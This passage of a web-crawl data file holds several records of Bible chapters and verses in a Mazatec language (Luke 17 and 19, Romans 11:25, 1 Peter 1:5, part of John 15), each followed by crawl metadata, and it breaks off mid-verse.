xi̱ta̱ xi kota'yàt'aà‑la̱: ―Kjit'aà na̱chrjein s'e̱ xi̱ta̱ xi koi̱ìt'in‑ná nga ki̱nchátsjiaá jé, ta̱nga i̱ma̱‑xó‑ne jè xi̱ta̱ xi koi̱ìt'in. 2Ìsa̱á‑la ndaà ko̱ma tsà si̱ngui'ñó jngoò nda̱jo̱ natsí ís'iìn, i̱kjoàn si̱katje̱n‑jiìn ndáchikon, mé‑ne nga mì jé ski̱nìjiìn‑ne ndí xi̱ta̱ xi mochjeén‑la̱ nga ko̱kinda̱. 3¡T'e̱en kinda̱ yijo‑nò! 'Tsà jè xingui̱i ótsji jé xi kondra̱ tsi̱ji, ti̱nókjoa̱‑la̱ nga kàtakixi̱; tsà si̱ìkájno jé‑la nga mì ti̱ jé ko̱hótsji‑ne, ti̱jchàat'aà‑la̱. 4Tsà itoò k'a nga jngoò na̱chrjein ótsji jé xingui̱i xi kondra̱ tsi̱ji, koa̱ tsà si̱ìkájno jé‑la koa̱ tsà itoò k'a nga jngoò na̱chrjein kjoi̱íkon‑lè, ki̱tso̱‑lè: \"Mì ti̱ kiì k'oa̱ s'iìn‑na\", tsà k'oa̱ ki̱tso̱‑lè, ti̱jchàat'aà‑la̱. 5Jñà xi̱ta̱ xi tsibíxáya‑la̱ Na̱'èn‑ná Jesucristo kitsò‑la̱: ―Ti̱si̱ko̱‑náje̱n mé‑ne nga ìsa̱ 'ñó ndaà ko̱kjeiín‑naje̱n i̱t'aà tsi̱ji. 6Jè Na̱'èn‑ná k'e̱é kitsò: ―Jñò, tsà tà o̱kji ko̱kjeiín‑nò koni kji xojmá mostaza nga i̱tsé kji, ko̱maá k'oín‑là yá xanchroò jè: \"Chjínèyi yijo‑lè, i̱kjoàn ya̱ kàtatje̱n‑jiìn ndáchikon\"; jè yá, k'oa̱á s'ín si̱ìkitasòn‑nò. 7'Jñò, tsà tíjna jngoò‑nò chi̱'nda xi kàfì síkínchi nchra̱ja̱, o xi kàfì ka'ndà tíndsó, k'e̱ nga kjoi̱í‑ne nga kàfì síxá, ¿a k'oín‑là: \"Ti̱jni, ti̱jnat'eiì ími̱xa̱\"? 8Majìn, a mìtsà ta̱ sa̱ k'oín‑là: \"Tìndaà‑ná tsojmì xi kókje̱en; tíxkóngui nikje‑lè; tìya‑ná tsojmì xi kókje̱en ko̱ xi skia̱a. K'e̱ nga jye kjoe̱ ko̱ma, i̱kjoàn ti̱chi koa̱ tioi̱i ji̱.\" 9Jè nei‑la̱, ti̱koa̱á mìkiì tsjá‑la̱ kjo̱ndaà chi̱'nda‑la̱ nga ndaà kàsìkitasòn jè xá xi kàsit'in‑la̱; mìtsà tsò‑la̱: \"Ndaà chjí‑lè.\" 10Ti̱koa̱á jñò, k'e̱ nga jye nìkitasòn yije xá xi tsjá‑nò Nainá, k'oa̱á tixón: \"Ngaje̱n, ta̱xki̱ chi̱'nda‑náje̱n, tà jè kànìkitasòn‑je̱n koni s'ín ki'mì‑náje̱n.\" 11Jesús, k'e̱ nga tífì ján na̱xa̱ndá Jerusalén, jahato ya̱ nangui Samaria ko̱ Galilea. 12K'e̱ nga jahas'en‑jiìn jngoò ndí na̱xa̱ndá xi jtobá kji, te xi̱ta̱ kiskaàjiìn ya̱ i̱ya ndi̱yá xi tíbindojno chrjoa̱ yijo‑la̱; kjiìn chincha‑ne 13nga 'ñó kiìchja̱ kitsò: ―¡Jesús, Maestro, cha̱hi̱ma̱‑takòn‑náje̱n! 14Jesús, k'e̱ nga kijtseè, kitsò‑la̱: ―Tanguió, ta̱kó‑là yijo‑nò jè no̱'miì. K'oa̱á s'ín komà, k'e̱ nga nchifì‑ne, kjòtsjeè‑ne yijo‑la̱ ch'in xi tjín‑la̱. 15K'e̱ nga kijtseè yijo‑la̱ nga jye kjòndaà‑ne ch'in xi tjín‑la̱, jngoò‑ne xi inchrobà ìjngoò k'a‑ne; 'ñó kiìchja̱ nga kitsjaà‑la̱ kjo̱ndaà Nainá. 16Tsasèn‑xkó'nchit'aà‑la̱ Jesús skanda i̱t'aà nangui, nga kitsjaà‑la̱ kjo̱ndaà. Xi̱ta̱ jè, Samaria i̱'nde‑la̱. 17Jesús kitsò‑la̱: ―¿A mìtsà te ma‑ne xi kòmatsjeè‑ne ch'in‑la̱? Jñà xi ñijaàn, ¿ñánda títsa̱jna? 18¿A tà jè tà jngoò xi̱ta̱ xi xìn nangui‑la̱ kànchrobá ìjngoò k'a‑ne nga tsjá‑la̱ kjo̱ndaà Nainá? 19Jesús kitsò‑la̱ xi̱ta̱ jè: ―Ti̱sítji̱in, t'in‑ne; koi‑né nga mokjeiín‑lè nga kòmandaà‑ne. 20Jñà xi̱ta̱ fariseo kiskònangui‑la̱ Jesús, kitsò‑la̱: ―¿Kjé‑né nga jcha̱‑la̱ kó s'ín ko̱tìxoma Nainá? Jesús kitsò‑la̱: ―Koni s'ín otíxoma Nainá mìtsà tsejèn jcha̱‑la̱. 21Mìtsà yá xi ki̱tso̱: \"I̱í tíjna i̱jndé\", ko̱ \"Ján tíjna ján\"; nga jyeé tíjnajiìn‑nò kó s'ín otíxoma Nainá. 22Jesús, kiìchja̱‑ìsa; kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ki̱jchò na̱chrjein k'e̱ nga ko̱mejèn‑nò jcha̱xkoòn‑ná nga jye kóti̱jnajiìn‑nò 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ta̱nga na̱chrjein jè, mìkiì jcha̱xkoòn‑ná. 23K'oa̱á ki̱tso̱‑nò xi̱ta̱: \"Chítsejèn‑là i̱jndé, chítsejèn‑là ján.\" Ta̱nga kì kiì mokjeiín‑nò, ti̱koa̱á kì kiì onguítji̱ngui‑là na̱s'ín k'oa̱ ki̱tso̱‑nò. 24Koni ma ni'ín ch'o̱n k'e̱ nga ote, ma iseèn kó o̱kji nga jngoò itjandiì, k'oa̱á s'ín ko̱ma k'e̱ nga ki̱jchò na̱chrjein nga kjoia̱a ìjngoò k'a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 25Ta̱nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ítjòn, tse kjo̱'in siìkjiaán; jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱, ko̱chrjekànguií‑na. 26Koni s'ín komà jñà na̱chrjein ts'e̱ Noé, k'oa̱á ti̱s'ín ko̱ma jñà na̱chrjein k'e̱ nga kjoia̱a ìjngoò k'a 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 27Xi̱ta̱, tsakjèn, kits'iì, chixàn íchjá ko̱ íchjín skanda jè na̱chrjein nga jahas'en ni'ya chitso jè Noé, i̱kjoàn j'iì jtsí xkón, ya̱á jyehesòn yije xi̱ta̱ kóho̱tjín. 28K'oa̱á ti̱s'ín komà na̱chrjein ts'e̱ Lot [xi̱ta̱ xi tsiniì kitsò‑la̱ Abraham]. Jñà xi̱ta̱ tsakjèn, kits'iì, tsatse tsojmì, tsatíjna tsojmì, tsibítje̱ tsojmì, tsibíndaà ni'ya; 29ta̱nga jè na̱chrjein nga itjojiìn jè Lot ya̱ na̱xa̱ndá Sodoma, ts'a jtsí ni'ín xi ngajmiì inchrobà‑ne xi nguì chijo azufre, ya̱á jyehesòn yije xi̱ta̱ kóho̱tjín. 30K'oa̱á s'ín ko̱ma jè na̱chrjein k'e̱ nga 'a̱n kítjo̱je̱n ìjngoò k'a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 31'Jè xi tíjnasò'nga ni'ya‑la̱, kì ti̱ kiì nchrobájen‑ne nga skoé tsojmì xi 'ncha ni'ya‑la̱; ti̱koa̱á jè xi tísíxájiìn nangui‑la̱ kì ti̱ kiì nchrobá‑ne ni'ya‑la̱. 32Ti̱kítsjeèn koni s'ín komàt'in chjo̱ón‑la̱ Lot. 33Ni̱ta̱ yá xi̱ta̱ xi mejèn‑la̱ ko̱chrjetjì yijo‑la̱ nga mì mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi tíjnandaà nga tsjá yijo‑la̱, jè‑né xi ki̱tjokàjiìn kjo̱'in nga i̱t'aà ts'a̱n ndaà kíjna. 34'K'oa̱á xan‑nò, jè ni̱tje̱n k'e̱ nga o̱ko̱ma, tjín ni'ya ñánda jò xi̱ta̱ kjioòsòn na̱chan, jngoò tjámiìtje̱n nga kji̱ko̱ Cristo, xi ìjngoò si̱jna‑né nga kjo̱'in s'e̱‑la̱. 35Ti̱koa̱á tjín ni'ya ñánda jò íchjín nchi'o na̱'yo̱, jngoò tjámiìtje̱n nga kji̱ko̱ Cristo, xi ìjngoò si̱jna‑né nga kjo̱'in s'e̱‑la̱. 36'Jò xi̱ta̱ xi nchisíxángui rancho̱‑la̱, jngoò tjámiìtje̱n nga kji̱ko̱ Cristo, jè xi ìjngoò sa̱síjna‑né nga kjo̱'in s'e̱‑la̱. 37Jñà xi̱ta̱ kiskònangui‑la̱ Jesús: ―¿Ñánda‑ne nga k'oa̱s'ín ko̱ma Na̱'èn? Jesús kitsò‑la̱: ―Ya̱ ñánda kijna cho̱ k'en, ya̱á kítsa̱jnajtín jñà líké.\nSan Lucas 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/17","date":"2013-12-06T14:26:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051984\/warc\/CC-MAIN-20131204131731-00032-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000061988830566}","num_words":769,"character_repetition_ratio":0.067,"word_repetition_ratio":0.005,"special_characters_ratio":0.239,"stopwords_ratio":0.251,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye 'jaha'sen‑jin Jesús ya̱ na̱xi̱ndá Jericó, tífì‑ní nga tíbatojin ya̱ na̱xi̱ndá. 2Ya̱á tíjna jngo xi̱ta̱ nchi̱ná ra 'mì Zaqueo, ra xi̱ta̱ ítjòn 'tse̱ xi̱ta̱ ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma. 3Xi̱ta̱ ra̱kìi̱, mején‑la̱ nga ske̱xkon yá‑ní ra 'mì Jesús; tanga mì kì ma batsíjen‑la̱, nga̱ 'ñó kjìn ma‑ni xi̱ta̱, tà nga̱tjì‑la̱ nga jtobá 'ki ra jè. 4'Kia̱á tsahachikon ítjòn, a̱kjòn tsihijno jngo yá ra 'mì sicómoro nga mejèn‑la̱ ske̱xkon Jesús ya̱ ñánda̱ tjínè‑la̱ nga kj'oa̱. 5'Kia̱ nga 'ja Jesús ya̱ a̱ya ndi̱yáa̱, iskotsíjen mingií‑la̱ Zaqueo nga tíjna'a yá; kitsò‑la̱: ―Zaqueo, ndi̱to̱n títjo̱ji̱in, nga̱ ya̱á síkjáya asa‑na ni'ya‑li 'ndi̱ 'ndi̱. 6Zaqueo, ndi̱to̱ón itjojen. Tsjaá ki'se‑la̱ nga kitsjá'nde‑la̱ ya̱ ni'ya‑la̱. 7'Kia̱ nga kijtse jñà xi̱ta̱ nga ya̱ isíkjáya‑ni, tsikí'tsia̱‑ní nga kiìchja̱jno‑la̱ Jesús; kitsò: \"Ya̱á síkjáya‑ni ni'ya‑la̱ xi̱ta̱ ra jé tjín‑la̱.\" 8'Kia̱á tsasijna kixi̱ Zaqueo, kitsò: ―Na̱'ìn, masen tsajmì ra tjín‑na, tsja‑la̱ xi̱ta̱ i̱ma̱; ko̱ tsa tjín i'ka xi̱ta̱ ra 'a̱n ískonda̱cha̱‑la̱, ijòn 'ka̱ ko̱'ki tsja ngájo‑la̱. 9Jesús kitsó‑la̱: ―Xi̱ta̱ ra tjín ya̱ ni'ya ra̱kìi̱, ijyeé kabitjokàjiín kjo̱hi'in ra kjoa̱ 'tse̱ jé‑la̱ jè ni̱chjin ra̱kìi̱, nga̱ jè Zaqueo, 'koa̱á ti̱'sín tímakjiín‑la̱ koni 'sín kjokjiín‑la̱ jè Abraham ra xi̱ta̱ jchínga‑la̱ ma. 10'Kií xá 'jíi̱‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, nga 'jíi̱ katsjía̱ ko̱ 'jíi̱ kachrjejiàa̱n jé‑la̱ xi̱ta̱ ra ijye ichijà. 11Jñà xi̱ta̱ ra i̱nchi'nchré koni 'sín títsò Jesús, 'koa̱á 'sín isíkítsjen tsa ijyeé ko̱'tsia̱ ndi̱to̱n nga jcha̱‑la̱ kó'sín ko̱tèxoma Nainá; nga̱ jè Jesús ijyeé kja̱me bijchó ya̱ Jerusalén. Tanga Jesús, tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra mangásòn. 12Kitsò‑la̱: ―India, jngo xi̱ta̱ chikon ra ya̱ nchrabá‑ni tje̱‑la̱ a̱'ta 'tse̱ xi̱ta̱ ítjòn, kijì jngo nangi ñánda̱ nga 'ñó kjin nga tjábé jngo‑la̱ ra xá ítjòn, a̱kjòn tsáfa india‑ni ra kjomà a̱skan. 13Tanga 'kia̱ ti̱kjè fì, te chi̱'nda‑la̱ kiìchja̱‑la̱ ra tse to̱n kitsjà‑la̱; kitsò‑la̱: \"Ti̱xáko̱o to̱n kìi̱ skanda 'kia̱ nga kjí'i̱‑na.\" 14Tanga jñà xi̱ta̱ ra ti̱ya̱‑ni na̱xi̱ndá‑la̱, jtikeé kjomà, tsatéxá‑la̱ xi̱ta̱ ra isìkasén-tji̱ngi‑la̱ nga kitsò‑la̱ xi̱ta̱xá ítjòn: \"Majìn‑naji̱n nga jè xi̱ta̱ ra̱kìi̱ ko̱tèxoma‑naji̱n.\" 15'Tanga jè xi̱ta̱ ra̱kìi̱, 'kia̱ ijye itjábé‑la̱ xá, 'jií india‑ni ya̱ nangi‑la̱. A̱kjòn kiìchja̱‑la̱ jñà chi̱'nda‑la̱ ra kitsjà‑la̱ to̱n mé‑ni nga ske̱‑ni kótjín isikijnesòn to̱n‑la̱. 16Jè chi̱'nda ra 'ji ítjòn kitsó‑ní: \"Ji̱ nàmi̱, jè to̱n ra ki'tsí‑ná, te 'ka̱ ko̱'ki iskasòn i'ndí‑la̱.\" 17Jè xi̱ta̱xá ítjòn kitsó‑la̱: \"Nda tjín; chi̱'nda nda‑ní ra ji̱; nda inichjiín to̱n ra chiba kjonga̱tsji; 'ndi̱ 'ndi̱, te na̱xi̱ndá tsja‑la nga ko̱te̱xoma‑la̱.\" 18Ijchó ra ma‑ni jò, kitsò: \"Ji̱ nàmi̱, jè to̱n‑li ra ki'tsí‑ná, 'òn 'ka̱ ko̱'ki iskasòn i'ndí‑la̱.\" 19Jè xi̱ta̱xá ítjòn kitsó‑la̱: \"Ti̱'koa̱á ra ji̱, 'òn na̱xi̱ndá tsja‑la ra ko̱te̱xoma‑la̱.\" 20''Jií ìjngo ra kitsò: \"Ji̱ nàmi̱, tíjna i̱jndíi̱ jè to̱n‑li ra ki'tsí‑ná. Nda tsikitjò; pahìto̱ó tsikíjtéjian; 21ítsakjoón‑la; nga̱ xi̱ta̱ jtitakón‑ní ra ji̱; jè chjíbí ra mì tsa ji̱ singi‑li kjo̱hi̱ma̱, ti̱'koa̱á bíxkí tsajmì ra mì tsa ji̱ tsikìtji̱i.\" 22Jè xi̱ta̱xá ítjòn kitsó‑la̱: \"Ji̱ chi̱'nda ra 'cho 'nì; ti̱jé‑ni 'én ra kanakjí si̱nè jé‑li; tsa 'ya‑ní nga xi̱ta̱ jtitakón‑ná, nga jé kjábé ra mì tsa 'a̱n isingi‑na kjo̱hi̱ma̱, ko̱ jé bíxkóo̱ tsajmì ra mì tsa 'a̱n tsikitjée̱, 23¿mé‑ni mì tsa ya̱ ìko̱‑nì to̱n‑na̱ ya̱ ñánda̱ nga ma si̱ikijnesòn i̱tsé i'ndí‑la̱, mé‑ni nga 'kia̱ 'a̱n ra 'jíi̱ india‑na, si̱nga̱tsja‑ná to̱n‑na̱ ko̱ i'ndí‑la̱?\" 24'Kia̱á kitsò‑la̱ jñà xi̱ta̱ ra ya̱ tjítsa̱jna: \"Chjí'an‑la to̱n‑la̱; 'ti̱‑la jè xi̱ta̱ ra te 'ka̱ isikijnesòn.\" 25Jñà xi̱ta̱ ra ko̱ki'mì‑la̱ kitsò: \"Ji̱ nàmi̱, ¡xi̱ta̱ ra̱kìi̱, ijyeé te‑ya ko̱tjín tjín‑la̱!\" 26Jè xi̱ta̱xá ítjòn kitsó‑ní: \"'Koa̱á xin‑no, nga'tsì ra tjín‑la̱, 'ki̱í‑isa‑la̱; tanga jè ra tsìn‑la̱, skanda tjá'án‑la̱ jè ra tjín chiba‑la̱. 27Ti̱'koa̱ jñà xi̱ta̱ kondra̱‑na̱ ra majìn‑la̱ nga 'a̱n kotexóma‑la̱, nchrabáko̱‑ná i̱jndíi̱, ti̱'ken ya̱ a̱ngi xkoàa̱n.\" 28'Kia̱ nga ijye ko̱kitsò Jesús, tje̱n ítjòn‑la̱ xi̱ta̱‑la̱ nga kijì ya̱ Jerusalén. 29'Kia̱ nga ijye ijchò chraña ya̱ na̱xi̱ndá ra 'mì Betfagé ko̱ Betania ya̱ chraña'tá‑la̱ ya̱ nindo Yá Olivo, isìkasén jò xi̱ta̱ ra kotá'yá'ta‑la̱. 30Kitsò‑la̱: ―Tangió ya̱ ndí na̱xi̱ndá i̱tsé ra kjijna'ta ján; 'kia̱ nga kijcho, ya̱á síjna'ta'ñó jngo ndí búrró i'ndí ra kjè tsa yá bijnasòn‑la̱. Chjíjnda̱'ñó, nchrabáko̱ò. 31Tsa yá ra sko̱nangi‑no, tsa ki̱tso̱‑no: \"¿Mé‑ni ko̱'sín chjíjnda̱'ñó‑no?\", 'tin‑la: \"Jè‑ró Jesús ra tíjna ítjòn ko̱chjeén‑la̱.\" 32Kijí jñà xi̱ta̱‑la̱; 'koa̱á 'sín isakò‑la̱ jè ndí búrró i'ndí koni 'sín kitsò‑la̱ Jesús. 33'Kia̱ nga i̱nchikjíjnda̱'ñó jè ndí búrró i'ndí, kitsó jè ni‑la̱: ―¿Mé‑ni ko̱'sín chjíjnda̱'ñó‑no jè búrró? 34Kitsó xi̱ta̱‑la̱ Jesús: ―Jè‑ró Na̱'ín‑ná Jesús ko̱chjeén‑la̱. 35Jñà nikje‑la̱ xi̱ta̱ tsakájtsa‑la̱ jè búrró; kiìko̱ ñánda̱ tíjna Jesús; a̱kjòn isíkíjnasòn‑la̱. 36Koni 'sín tífì Jesús, tsakándaá jñà nikje‑la̱ xi̱ta̱ ya̱ a̱ya ndi̱yáa̱. 37'Kia̱ nga ijye kjochraña nga i̱nchifìjen ya̱ nindo Yá Olivo, nga'tsì xi̱ta̱ ra kotá'yá'ta‑la̱ ra tje̱n‑ko̱ tsikí'tsia̱‑ní nga 'ñó kiìchja̱ nga tsja tjín‑la̱; kitsjá‑la̱ kjo̱nda Nainá tà nga̱tjì‑la̱ jñà kjo̱xkón ra ijye kijtse. 38Kitsò: ―Mé ta̱ nda‑la̱ jè xi̱ta̱xá ítjòn ra jè nchrabá ngajo‑la̱ Nainá. Tjín kjo̱'nchán ya̱ ján ngajmi. Ti̱'koa̱ tjín kjoa̱jeya‑la̱. 39Jñà xi̱ta̱ fariseo ra ya̱ tje̱n‑jin‑la̱ xi̱ta̱, kitsó‑la̱: ―¡Maestro, jchi̱tiki̱i jñà xi̱ta̱ ra kotá'yá'ta‑li nga jyò katitsa̱jna! 40Tanga jè Jesús kitsó‑la̱: ―'Koa̱á xin‑no, tsa jyò kítsa̱jna jñà xi̱ta̱ kìi̱, jñá na̱jo̱ 'ñó ki̱chja̱. 41'Kia̱ nga ijye ijchò chraña Jesús ya̱ na̱xi̱ndá Jerusalén, 'kia̱ nga kijtse, iskindayakeé jè na̱xi̱ndá. 42Kitsò: ―Jiòn ra xi̱ta̱ na̱xi̱ndá Jerusalén 'mì‑no, tsa ta ko̱kjiín‑la i̱tsé‑najiòn 'ndi̱ 'ndi̱, a̱'ta 'tse̱ ra ma‑la̱ tsjá‑no kjo̱'nchán; tanga 'ndi̱ 'ndi̱, mì kì ko̱chi̱ya‑no, nga̱ tjí'ma‑no. 43'Sa̱á nchrabá ni̱chjin 'kia̱ nga jñà xi̱ta̱ ra kondra̱‑no ki̱ìndandí‑no chrjó, si̱ìkinda̱‑no, ko̱ jngo tjindi kí'ta‑no. 44Jngo kjá si̱ikjehesòn‑no, si̱ì'ken ijye‑no nga'tsì‑no; ni̱ì‑ti̱‑jngo na̱jo̱ si̱jnasòn‑ila̱ xákjén. Kií jé ka̱ma‑no nga mì kì kijchaxkon Nainá 'kia̱ nga 'ji katsíjen‑no. 45'Jaha'sen Jesús ya̱ ñánda̱ tíjna i̱ngo̱ ítjòn; a̱kjòn tsikí'tsia̱ nga tsachrje jñà xi̱ta̱ ra i̱nchibatína ko̱ ra i̱nchibatse tsajmì; 46kitsò‑la̱: ―'Koa̱á 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá: \"Ni'ya‑na̱, 'koa̱á 'sín ko̱chjeén nga ya̱ ki̱chja̱'ta‑la̱ Nainá jñà xi̱ta̱.\" Tanga jiòn, i̱'nde‑la̱ xi̱ta̱ chijé i̱nchi'nià. 47Ni̱chjin nchijón tsakón‑ya‑la̱ xi̱ta̱ Jesús ya̱ ndi̱tsin i̱ngo̱ ítjòn; jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ko̱ jñà xi̱ta̱ ítjòn‑la̱ na̱xi̱ndá, bátsji'nde‑la̱ nga mejèn‑la̱ si̱ì'ken Jesús. 48Tanga mì kì ma isìko̱, nga̱ jñà xi̱ta̱ na̱xi̱ndá, 'ñó nda i̱nchi'nchré‑la̱ koni 'sín tí'béna̱jmí.\nSan Lucas 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/19","date":"2013-12-12T13:41:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164587361\/warc\/CC-MAIN-20131204134307-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":967,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25'Ndsè, mejèn‑na̱ nga ndaà kàtasijiìn‑nò kjoa̱'ma koi koni s'ín tjíndaà‑la̱ Nainá mé‑ne nga mì 'ñó chji̱ne̱ ki̱nachrje yijo‑nò. Jè kjoa̱ nga tjín i'nga xi̱ta̱ Israel xi kjòtájaàjiìn ini̱ma̱‑la̱ nga mìkiì mokjeiín‑la̱, ta̱nga skanda k'e̱é ko̱kjeiín‑la̱ k'e̱ nga jye ko̱kjeiín yije‑la̱ xi mìtsà xi̱ta̱ judío.\nRomanos 11:25\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/25","date":"2013-12-10T20:31:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164024169\/warc\/CC-MAIN-20131204133344-00073-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"maa_Latn_score\": 1.0000050067901611}","num_words":48,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5Ta nga̱tjì‑la̱ nga ya̱ makjiín‑najiòn ra a̱'ta 'tse̱ Nainá, ngi ko̱ó jè nga'ñó‑la̱ nga tísíkonda̱‑najiòn mé‑ni nga ma kijchotji̱ngi‑la jè kjo̱nda‑la̱, nga ma kítjo̱kajion kjo̱hi'in ra kjoa̱ 'tse̱ jé‑no, koni 'sín ijye tjínda‑la̱ ra jè; ko̱ 'kia̱á jcha̱‑la̱ kjoa̱ kìi̱ 'kia̱ nga ijye ko̱chraña ni̱chjin nga kje̱he'tà i̱sà'nde.\n1 Pedro 1:5\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/5","date":"2013-12-11T04:49:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164030978\/warc\/CC-MAIN-20131204133350-00087-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000033378601074}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1''A̱án ngaya‑la̱ yá je‑la̱ toò uva; jè Na̱'èn‑na̱ xi síxáko̱. 2Ngats'iì chrja‑la̱ yá uva xi i̱t'aà ts'a̱n nchrobát'aà‑ne xi mìkiì ojà‑la̱ toò, Na̱'èn‑na̱ otet'aà‑né; koa̱ jñà xi ojà‑la̱ toò, ta sítsjeè‑né, mé‑ne nga ìsa̱ ndaà ko̱ja̱‑la̱ toò. 3Jñò, jyeé k'oa̱s'ín kjòtsjeè‑nò xi i̱t'aà ts'e̱ 'én xi o̱kixan‑nò. 4Jñò, mochjeén‑né nga ya̱ ki̱tsa̱jnako̱ kjit'aà‑ná koa̱ 'a̱n, ya̱á kóti̱jnako̱ kjit'aà‑nò. Jngoò chrja‑la̱ yá toò uva, mìkiì ko̱ja̱‑la̱ toò tsà mìkiì 'ñó tjít'aà jè yá je‑la̱. I̱t'aà tsa̱jòn, k'oa̱ ti̱s'ín tjín, nìmé xi s'e̱en tsà mì 'a̱n ki̱tsa̱jnako̱ kjit'aà‑ná. 5''A̱n‑ná xi yá je‑la̱ toò uva, jñò‑nó xi chrja‑la̱. Jè xi 'a̱n kíjnako̱ kjit'aà‑na̱ ko̱ 'a̱n kóti̱jnako̱ kjit'aà, ndaà jchán ko̱ja̱‑la̱ toò. Ta̱nga ni̱mé xi s'e̱en tsà titsa̱jnat'aàxìn‑ná. 6Jè xi mìtsà 'a̱n kíjnako̱ kjit'aà‑na, k'oa̱á s'ín tjáxìn koni chrja‑la̱ yá xi nìmé toò ojà‑la̱; k'e̱ nga jye xì, maxkó‑né i̱kjoàn sinchájiìn ni'ín nga tì. 7'Jñò, tsà ya̱ ki̱tsa̱jnako̱ kjit'aà‑ná, koa̱ tsà kixi̱ ki̱tsa̱jnako̱o 'én‑na̱ xi 'a̱n tsakoòya‑nò, ti̱jé ni̱ta̱ mé xi mejèn‑nò, k'oa̱á s'ín ki̱tasòn‑nò koni s'ín kixón. 8K'oa̱á s'ín ma‑ne jcha̱‑la̱ kjoa̱jeya‑la̱ Na̱'èn‑na̱ k'e̱ nga 'ñó kjìn toò ko̱ja̱‑nò ko̱ k'oa̱á s'ín ma‑ne nga 'ya‑la̱ nga kixi̱ kjoa̱ nga ya̱ chìta'yàt'aà‑ná. 9Koni s'ín matsjakeè‑na̱ Na̱'èn‑na̱, jñò, 'a̱n, k'oa̱ ti̱s'ín matsjake̱‑nò. Mochjeén‑né nga k'oa̱s'ín titsa̱jnako̱ kjit'aà kjoa̱ tsjacha‑na̱. 10Tsà si̱kitasòn kjo̱tíxoma‑na̱, ya̱á ki̱tsa̱jnajñoò kjit'aà kjoa̱ tsjacha‑na̱. 'A̱n, k'oa̱á ti̱s'ín sìkitasoàn kjo̱tíxoma‑la̱ Na̱'èn‑na̱ ko̱ ya̱á tìjna̱jñaà kjit'aà kjoa̱tsjacha‑la̱. 11'Jñò, k'oa̱á s'ín chjàko̱‑nò mé‑ne si̱jnajiìn‑ne ini̱ma̱‑nò kjo̱tsja xi 'a̱n tjín‑na ko̱ nguì ndaà s'e̱‑nò kjo̱tsja. 12Kjo̱tíxoma‑na̱ xi 'a̱n tsjaà‑nò, jè‑né nga ti̱tsjacha xinguio̱o nga jngoò ìjngoò, koni 'a̱n matsjake̱‑nò. 13Jè xi̱ta̱ xi biyaàtjì ngajo‑la̱ amigo‑la̱, jè‑né xi ìsa̱ 'ñó matsjakeè xíkjín. 14Jñò‑nó xi amigo‑na̱ xan‑nò, tsà si̱kitasòn koni s'ín bìnè‑nò. 15Mì ti̱ chi̱'nda‑na̱ xan‑nò nga jè chi̱'nda mìkiì beè mé xi s'ín nei‑la̱. Amigo ts'a̱án xan‑nò nga jyeé tsibeno̱jmíya yije‑nò kjoa̱ xi tsakóya‑na̱ Na̱'èn‑na̱. 16Mìtsà jñò kichjaàjiìn‑ná, ta̱ saà 'a̱n jaàjiìn‑nò. Kitsjaà‑nò xá nga konguió mé‑ne nga ndaà si̱xá‑nò. Jè xá‑nò si̱jna‑né ni̱ta̱ kjé‑ne, mé‑ne k'e̱ nga mé xi si̱jé‑là Na̱'èn‑na̱ xi i̱t'aà ts'a̱n, tsjá‑nò. 17Jè kjo̱tíxoma xi 'ñó 